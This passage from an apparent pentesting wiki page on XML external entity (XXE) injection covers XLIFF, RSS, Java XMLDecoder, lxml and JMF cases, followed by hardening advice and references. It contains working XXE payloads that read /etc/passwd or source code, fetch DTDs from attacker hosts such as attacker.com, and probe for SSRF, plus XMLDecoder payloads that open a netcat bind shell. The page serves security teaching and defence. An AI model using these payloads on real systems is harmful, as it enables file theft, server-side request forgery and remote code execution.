    557 XLIFF (XML Localization Interchange File Format) is utilized to standardize data exchange in localization processes. It's an XML-based format primarily used for transferring localizable data among tools during localization and as a common exchange format for CAT (Computer-Aided Translation) tools.
    558 
    559 ### Blind Request Analysis
    560 
    561 A request is made to the server with the following content:
    562 
    563 ```xml
    564 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
    565 Content-Disposition: form-data; name="file"; filename="xxe.xliff"
    566 Content-Type: application/x-xliff+xml
    567 
    568 <?xml version="1.0" encoding="UTF-8"?>
    569 <!DOCTYPE XXE [
    570 <!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
    571 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
    572 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
    573 ```
    574 
    575 However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations:
    576 
    577 ```json
    578 {
    579   "status": 500,
    580   "error": "Internal Server Error",
    581   "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
    582 }
    583 ```
    584 
    585 Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity.
    586 
    587 Out of Band Data Exfiltration To exfiltrate data, a modified request is sent:
    588 
    589 ```text
    590 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
    591 Content-Disposition: form-data; name="file"; filename="xxe.xliff"
    592 Content-Type: application/x-xliff+xml
    593 
    594 <?xml version="1.0" encoding="UTF-8"?>
    595 <!DOCTYPE XXE [
    596 <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
    597 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
    598 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
    599 ```
    600 
    601 This approach reveals that the User Agent indicates the use of Java 1.8. A noted limitation with this version of Java is the inability to retrieve files containing a newline character, such as /etc/passwd, using the Out of Band technique.
    602 
    603 Error-Based Data Exfiltration To overcome this limitation, an Error-Based approach is employed. The DTD file is structured as follows to trigger an error that includes data from a target file:
    604 
    605 ```xml
    606 <!ENTITY % data SYSTEM "file:///etc/passwd">
    607 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
    608 %foo;
    609 %xxe;
    610 ```
    611 
    612 The server responds with an error, importantly reflecting the non-existent file, indicating that the server is attempting to access the specified file:
    613 
    614 ```javascript
    615 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
    616 ```
    617 
    618 To include the file's content in the error message, the DTD file is adjusted:
    619 
    620 ```xml
    621 <!ENTITY % data SYSTEM "file:///etc/passwd">
    622 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
    623 %foo;
    624 %xxe;
    625 ```
    626 
    627 This modification leads to the successful exfiltration of the file's content, as it is reflected in the error output sent via HTTP. This indicates a successful XXE (XML External Entity) attack, leveraging both Out of Band and Error-Based techniques to extract sensitive information.
    628 
    629 ## RSS - XEE
    630 
    631 Valid XML with RSS format to exploit an XXE vulnerability.<sup>[[4]](#references)</sup>
    632 
    633 ### Ping back
    634 
    635 Simple HTTP request to attackers server
    636 
    637 ```xml
    638 <?xml version="1.0" encoding="UTF-8"?>
    639 <!DOCTYPE title [ <!ELEMENT title ANY >
    640 <!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
    641 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    642 <channel>
    643 <title>XXE Test Blog</title>
    644 <link>http://example.com/</link>
    645 <description>XXE Test Blog</description>
    646 <lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
    647 <item>
    648 <title>&xxe;</title>
    649 <link>http://example.com</link>
    650 <description>Test Post</description>
    651 <author>author@example.com</author>
    652 <pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
    653 </item>
    654 </channel>
    655 </rss>
    656 ```
    657 
    658 ### Read file
    659 
    660 ```xml
    661 <?xml version="1.0" encoding="UTF-8"?>
    662 <!DOCTYPE title [ <!ELEMENT title ANY >
    663 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    664 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    665 <channel>
    666 <title>The Blog</title>
    667 <link>http://example.com/</link>
    668 <description>A blog about things</description>
    669 <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    670 <item>
    671 <title>&xxe;</title>
    672 <link>http://example.com</link>
    673 <description>a post</description>
    674 <author>author@example.com</author>
    675 <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    676 </item>
    677 </channel>
    678 </rss>
    679 ```
    680 
    681 ### Read source code
    682 
    683 Using PHP base64 filter
    684 
    685 ```xml
    686 <?xml version="1.0" encoding="UTF-8"?>
    687 <!DOCTYPE title [ <!ELEMENT title ANY >
    688 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
    689 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    690 <channel>
    691 <title>The Blog</title>
    692 <link>http://example.com/</link>
    693 <description>A blog about things</description>
    694 <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    695 <item>
    696 <title>&xxe;</title>
    697 <link>http://example.com</link>
    698 <description>a post</description>
    699 <author>author@example.com</author>
    700 <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    701 </item>
    702 </channel>
    703 </rss>
    704 ```
    705 
    706 ## Java XMLDecoder XEE to RCE
    707 
    708 XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server.
    709 
    710 ### Using Runtime().exec()
    711 
    712 ```xml
    713 <?xml version="1.0" encoding="UTF-8"?>
    714 <java version="1.7.0_21" class="java.beans.XMLDecoder">
    715  <object class="java.lang.Runtime" method="getRuntime">
    716       <void method="exec">
    717       <array class="java.lang.String" length="6">
    718           <void index="0">
    719               <string>/usr/bin/nc</string>
    720           </void>
    721           <void index="1">
    722               <string>-l</string>
    723           </void>
    724           <void index="2">
    725               <string>-p</string>
    726           </void>
    727           <void index="3">
    728               <string>9999</string>
    729           </void>
    730           <void index="4">
    731               <string>-e</string>
    732           </void>
    733           <void index="5">
    734               <string>/bin/sh</string>
    735           </void>
    736       </array>
    737       </void>
    738  </object>
    739 </java>
    740 ```
    741 
    742 ### ProcessBuilder
    743 
    744 ```xml
    745 <?xml version="1.0" encoding="UTF-8"?>
    746 <java version="1.7.0_21" class="java.beans.XMLDecoder">
    747   <void class="java.lang.ProcessBuilder">
    748     <array class="java.lang.String" length="6">
    749       <void index="0">
    750         <string>/usr/bin/nc</string>
    751       </void>
    752       <void index="1">
    753          <string>-l</string>
    754       </void>
    755       <void index="2">
    756          <string>-p</string>
    757       </void>
    758       <void index="3">
    759          <string>9999</string>
    760       </void>
    761       <void index="4">
    762          <string>-e</string>
    763       </void>
    764       <void index="5">
    765          <string>/bin/sh</string>
    766       </void>
    767     </array>
    768     <void method="start" id="process">
    769     </void>
    770   </void>
    771 </java>
    772 ```
    773 
    774 ## XXE + WrapWrap + Lightyear + bypasses
    775 
    776 Take a look to this amazing report [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)<sup>[[17]](#references)</sup>
    777 
    778 ## Tools
    779 
    780 
    781 [Xxexploiter](https%3A//github.com/luisfontes19/xxexploiter)
    782 
    783 ### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
    784 
    785 > [!INFO]
    786 > The Python library **lxml** uses **libxml2** under the hood.  Versions prior to **lxml 5.4.0 / libxml2 2.13.8** still expand *parameter* entities even when `resolve_entities=False`, making them reachable when the application enables `load_dtd=True` and/or `resolve_entities=True`.  This allows Error-Based XXE payloads that embed the contents of local files into the parser error message.<sup>[[10]](#references)[[11]](#references)</sup>
    787 
    788 #### 1. Exploiting lxml < 5.4.0
    789 1. Identify or create a *local* DTD on disk that defines an **undefined** parameter entity (e.g. `%config_hex;`).
    790 2. Craft an internal DTD that:
    791    * Loads the local DTD with `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
    792    * Redefines the undefined entity so that it:
    793      - Reads the target file (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
    794      - Builds another parameter entity that refers to an **invalid path** containing the `%flag;` value and triggers a parser error (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
    795 3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application.
    796 
    797 ```xml
    798 <!DOCTYPE colors [
    799   <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
    800   <!ENTITY % config_hex '
    801     <!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
    802     <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
    803   %eval;'>
    804   %local_dtd;
    805 ]>
    806 ```
    807 When the application prints the exception the response contains:
    808 ```text
    809 Error : failed to load external entity "file:///aaa/FLAG{secret}"
    810 ```
    811 
    812 > [!TIP]
    813 > If the parser complains about `%`/`&` characters inside the internal subset, double-encode them (`&#x26;#x25;` ⇒ `%`) to delay expansion.
    814 
    815 #### 2. Bypassing the lxml 5.4.0 hardening (libxml2 still vulnerable)
    816 `lxml` ≥ 5.4.0 forbids *error* parameter entities like the one above, but **libxml2** still allows them to be embedded in a *general* entity.  The trick is to:
    817 1. Read the file into a parameter entity `%file`.
    818 2. Declare another parameter entity that builds a **general** entity `c` whose SYSTEM identifier uses a *non-existent protocol* such as `meow://%file;`.
    819 3. Place `&c;` in the XML body.  When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message.
    820 
    821 ```xml
    822 <!DOCTYPE colors [
    823   <!ENTITY % a '
    824     <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
    825     <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
    826   '>
    827   %a; %b;
    828 ]>
    829 <colors>&c;</colors>
    830 ```
    831 
    832 #### Key takeaways
    833 * **Parameter entities** are still expanded by libxml2 even when `resolve_entities` should block XXE.<sup>[[11]](#references)</sup>
    834 * An **invalid URI** or **non-existent file** is enough to concatenate controlled data into the thrown exception.
    835 * The technique works **without outbound connectivity**, making it ideal for strictly egress-filtered environments.
    836 
    837 #### Mitigation guidance
    838 * Upgrade to **lxml ≥ 5.4.0** and ensure the underlying **libxml2** is **≥ 2.13.8**.
    839 * Disable `load_dtd` and/or `resolve_entities` unless absolutely required.
    840 * Avoid returning raw parser errors to the client.
    841 
    842 ### Java DocumentBuilderFactory hardening example
    843 
    844 Java applications frequently parse XML using `DocumentBuilderFactory`.  By default the factory **allows external entity resolution**, making it vulnerable to XXE and SSRF if no additional hardening flags are set:<sup>[[1]](#references)</sup>
    845 
    846 ```java
    847 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    848 DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
    849 ```
    850 
    851 Secure configuration example:
    852 
    853 ```java
    854 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    855 
    856 // Completely forbid any DOCTYPE declarations (best-effort defence)
    857 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    858 
    859 // Disable expansion of external entities
    860 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    861 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    862 
    863 // Enable "secure processing" which applies additional limits
    864 dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
    865 
    866 // Defensive extras
    867 dbf.setXIncludeAware(false);
    868 dbf.setExpandEntityReferences(false);
    869 
    870 DocumentBuilder builder = dbf.newDocumentBuilder();
    871 ```
    872 
    873 If the application must support DTDs internally, keep `disallow-doctype-decl` disabled but **always** leave the two `external-*-entities` features set to `false`.  The combination prevents classical file-disclosure payloads (`file:///etc/passwd`) as well as network-based SSRF vectors (`http://169.254.169.254/…`, `jar:` protocol, etc.).
    874 
    875 Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above.  An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response.
    876 
    877 ### XXE in JMF/Print Orchestration Services → SSRF
    878 
    879 Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources.<sup>[[12]](#references)</sup>
    880 
    881 Key points observed in the wild:<sup>[[12]](#references)[[13]](#references)[[14]](#references)</sup>
    882 - Network listener (e.g., JMF client) on a dedicated port (commonly 4004 in Xerox FreeFlow Core).
    883 - Java-based XML parsing inside a jar (e.g., `jmfclient.jar`) without `disallow-doctype-decl` or entity resolution disabled.
    884 - Out-of-band callbacks reliably confirm exploitation.
    885 
    886 Minimal JMF-style SSRF probe (structure varies by product but the DOCTYPE is what matters):
    887 
    888 ```xml
    889 <?xml version="1.0" encoding="UTF-8"?>
    890 <!DOCTYPE JMF [
    891   <!ENTITY probe SYSTEM "http://attacker-collab.example/oob">  
    892 ]>
    893 <JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
    894   <Query Type="KnownMessages">&probe;</Query>
    895 </JMF>
    896 ```
    897 
    898 Notes:
    899 - Replace the entity URL with your collaborator. If SSRF is possible the server will resolve it while parsing the message.
    900 - Hardenings to look for: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
    901 - Even when the JMF port does not serve files, SSRF can be chained for internal recon or to reach management APIs bound to localhost.
    902 
    903 References for this vector are listed at the end of the page.
    904 
    905 ## References
    906 
    907 - [1] [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
    908 - [2] [Black Hat EU 2013 – XML Data (Osipov) slides](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
    909 - [3] [XXE Cheat Sheet – web-in-security blog](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
    910 - [4] [From RSS to XXE: Feed Parsing on Hootsuite](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
    911 - [5] [PayloadsAllTheThings – XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md)
    912 - [6] [staaldraad – XXE cheat sheet gist](https://gist.github.com/staaldraad/01415b990939494879b4)
    913 - [7] [Exploiting XML External Entity (XXE) Injections – onehackman](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
    914 - [8] [PortSwigger Web Security Academy – XXE](https://portswigger.net/web-security/xxe)
    915 - [9] [GoSecure XXE Workshop](https://gosecure.github.io/xxe-workshop/#7)
    916 - [10] [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
    917 - [11] [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
    918 - [12] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
    919 - [13] [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
    920 - [14] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
    921 - [15] [PHPOffice PhpSpreadsheet advisory - XXE in XLSX parsing](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7)
    922 - [16] [Local file read via error-based XXE - pwn.vg](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
    923 - [17] [Impossible XXE in PHP - PT Swarm](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
    924 - [18] [medium.com - Googlectf 2019 Web Bnv Writeup Nicholas Rianto Putra Medium](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)
    925 - [19] [Hakatemia - XXE in Excel and Word Files (OOXML)](https://www.hakatemia.fi/en/courses/xxe/ooxml-xxe)